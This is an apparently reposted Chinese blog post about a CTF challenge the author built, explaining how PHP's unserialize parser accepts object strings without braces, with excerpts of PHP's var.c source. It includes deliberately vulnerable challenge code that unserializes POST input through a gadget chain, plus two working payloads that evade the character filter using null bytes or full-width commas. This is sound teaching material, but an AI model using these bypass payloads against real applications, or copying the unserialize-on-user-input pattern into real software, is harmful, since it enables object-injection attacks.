PHP序列化和反序列化语法不一致问题可能导致ByPass

博客不定期更新,分享研究成果和攻防知识。

目前来说PHP反序列化这类问题被归类为高级安全问题,因为他的危害很严重并且存在相当多的花样。

网上公开阐述反序列化执行流程已经非常详细,但是一些细节地方略有不足。

这些不足支出往往是我们忽略的,它对于蓝对方却是致命。

起源

最近刚好被邀请CTF出题,我平时对于CTF并没有什么研究。我在想如何能出一道能够让同学们学到知识的题目呢?

在研究过程中,看到一篇有关《PHP序列化和反序列化语法不一致的问题》,引起我的关注。

出题

在复现文中的所述之后,我对于序列化和反序列化内核源码实现进行了阅读,发现几点问题值得关注。这些问题我先不多说,咱们先看题。

 1 <?php
 2 class startgg
 3 {
 4         public $mod1;
 5         public $mod2;
 6         public function __destruct()
 7         {
 8                 $this->mod1->test1();
 9         }
10 }
11 class Call
12 {
13         public $mod1;
14         public $mod2;
15         public function test1()
16     {
17             $this->mod1->test2();
18     }
19 }
20 class funct
21 {
22         public $mod1;
23         public $mod2;
24         public function __call($test2,$arr)
25         {
26                 $s1 = $this->mod1;
27                 $s1();
28         }
29 }
30 class func
31 {
32         public $mod1;
33         public $mod2;
34         public function __invoke()
35         {
36                 $this->mod2 = "字符串拼接".$this->mod1;
37         } 
38 }
39 class string1
40 {
41         public $str1;
42         public $str2;
43         public function __toString()
44         {
45                 $this->str1->get_flag();
46                 return "1";
47         }
48 }
49 class GetFlag
50 {
51         public function get_flag()
52         {
53                 echo "flag:"."xxxxxxxxxxxx";
54         }
55 }
56 $a = $_POST['string'];
57 var_dump($a);
58 $preg = "/\/|\~|\!|\@|\#|\\$|\^|\&|\*|\(|\)|\(|\)|【|】|{|}|\+|\{|\}|\<|\>|\?|\[|\]|\,|\.|\/|\'|\`|\-|\=|\\\|\|(\:\:)|(\:\;)|\||(\w+s\:)+/";
59 if(preg_match($preg, $a)){
60     echo '不能存在特殊字符。';
61 }else{
62     unserialize($a);
63 }
64 ?>

这道题看起来像是签到题对吧。其实在细节上过滤了很多特殊字符。你见过没有{}的序列化字符串么?我相信这个答案是否定的。因为这个{}是序列化模块自动生成的,这道题也就此说明了,反序列化和序列化语法上的差异。

原理分析

这道题的原版源码,你至少能到5个网站上找到它,但是答案它无法在这个道题中使用。

原理分析:

在PHP序列化中,PHP会使用smart_str_appendl为序列化字符串前后拼接:{和},从var.c的第882行开始进入序列化逻辑。

 1 [var.c]
 2 Line:882
 3 static void php_var_serialize_intern()
 4 
 5 Line:896
 6 if (ce->serialize(struc, &serialized_data, &serialized_length, (zend_serialize_data *)var_hash) == SUCCESS) {
 7                         smart_str_appendl(buf, "C:", 2);
 8                         smart_str_append_unsigned(buf, ZSTR_LEN(Z_OBJCE_P(struc)->name));
 9                         smart_str_appendl(buf, ":\"", 2);
10                         smart_str_append(buf, Z_OBJCE_P(struc)->name);
11                         smart_str_appendl(buf, "\":", 2);
12 
13                         smart_str_append_unsigned(buf, serialized_length);
14                         smart_str_appendl(buf, ":{", 2);
15                         smart_str_appendl(buf, (char *) serialized_data, serialized_length);
16                         smart_str_appendc(buf, '}');
17                     }
18 
19 Line:952
20 smart_str_appendl(buf, ":{", 2);
21 
22 Line:995
23 smart_str_appendc(buf, '}');

反序列化的逻辑和{}关系代码如下,通过捕获字符串,判断条件分支,然后执行反序列化逻辑。

 1 [var.c]
 2 Line:655
 3 static int php_var_unserialize_internal()
 4 
 5 Line:674
 6 {
 7     YYCTYPE yych;
 8     static const unsigned char yybm[] = {
 9           0,   0,   0,   0,   0,   0,   0,   0, 
10           0,   0,   0,   0,   0,   0,   0,   0, 
11           0,   0,   0,   0,   0,   0,   0,   0, 
12           0,   0,   0,   0,   0,   0,   0,   0, 
13           0,   0,   0,   0,   0,   0,   0,   0, 
14           0,   0,   0,   0,   0,   0,   0,   0, 
15         128, 128, 128, 128, 128, 128, 128, 128, 
16         128, 128,   0,   0,   0,   0,   0,   0, 
17           0,   0,   0,   0,   0,   0,   0,   0, 
18           0,   0,   0,   0,   0,   0,   0,   0, 
19           0,   0,   0,   0,   0,   0,   0,   0, 
20           0,   0,   0,   0,   0,   0,   0,   0, 
21           0,   0,   0,   0,   0,   0,   0,   0, 
22           0,   0,   0,   0,   0,   0,   0,   0, 
23           0,   0,   0,   0,   0,   0,   0,   0, 
24           0,   0,   0,   0,   0,   0,   0,   0, 
25           0,   0,   0,   0,   0,   0,   0,   0, 
26           0,   0,   0,   0,   0,   0,   0,   0, 
27           0,   0,   0,   0,   0,   0,   0,   0, 
28           0,   0,   0,   0,   0,   0,   0,   0, 
29           0,   0,   0,   0,   0,   0,   0,   0, 
30           0,   0,   0,   0,   0,   0,   0,   0, 
31           0,   0,   0,   0,   0,   0,   0,   0, 
32           0,   0,   0,   0,   0,   0,   0,   0, 
33           0,   0,   0,   0,   0,   0,   0,   0, 
34           0,   0,   0,   0,   0,   0,   0,   0, 
35           0,   0,   0,   0,   0,   0,   0,   0, 
36           0,   0,   0,   0,   0,   0,   0,   0, 
37           0,   0,   0,   0,   0,   0,   0,   0, 
38           0,   0,   0,   0,   0,   0,   0,   0, 
39           0,   0,   0,   0,   0,   0,   0,   0, 
40           0,   0,   0,   0,   0,   0,   0,   0, 
41     };
42     if ((YYLIMIT - YYCURSOR) < 7) YYFILL(7);
43     yych = *YYCURSOR;
44     switch (yych) {
45     case 'C':
46     case 'O':    goto yy4;
47     case 'N':    goto yy5;
48     case 'R':    goto yy6;
49     case 'S':    goto yy7;
50     case 'a':    goto yy8;
51     case 'b':    goto yy9;
52     case 'd':    goto yy10;
53     case 'i':    goto yy11;
54     case 'o':    goto yy12;
55     case 'r':    goto yy13;
56     case 's':    goto yy14;
57     case '}':    goto yy15;
58     default:    goto yy2;
59     }
60 
61 Line:776
62 yy15:
63     ++YYCURSOR;
64     {
65     /* this is the case where we have less data than planned */
66     php_error_docref(NULL, E_NOTICE, "Unexpected end of serialized data");
67     return 0; /* not sure if it should be 0 or 1 here? */
68 }

从这段代码可以看出,即便不写{},有满足条件的分割符号,序列化字符串依旧能被分支跳转,从而进行解析,解析的代码先略过。

解题

思路1,使用空白字符替代。

1 string=O:7:"startgg":2:%00s:4:"mod1";O:4:"Call":2:%00s:4:"mod1";O:5:"funct":2:%00s:4:"mod1";O:4:"func":2:%00s:4:"mod1";O:7:"string1":1:%00s:4:"str1";O:7:"GetFlag":%00s:4:"mod2"

思路2,使用全角字符替代。

1 string=O:7:"startgg":2:,s:4:"mod1";O:4:"Call":2:,s:4:"mod1";O:5:"funct":2:,s:4:"mod1";O:4:"func":2:,s:4:"mod1";O:7:"string1":1:,s:4:"str1";O:7:"GetFlag":,s:4:"mod2"

总结

这种语法不一致的问题,对于蓝队的防护带来极大挑战。

文章由SkyBlue永恒原创,转载请注明出处cnblogs.com/SkyBlueE。

猜你喜欢

转载自www.cnblogs.com/SkyBlueE/p/11746764.html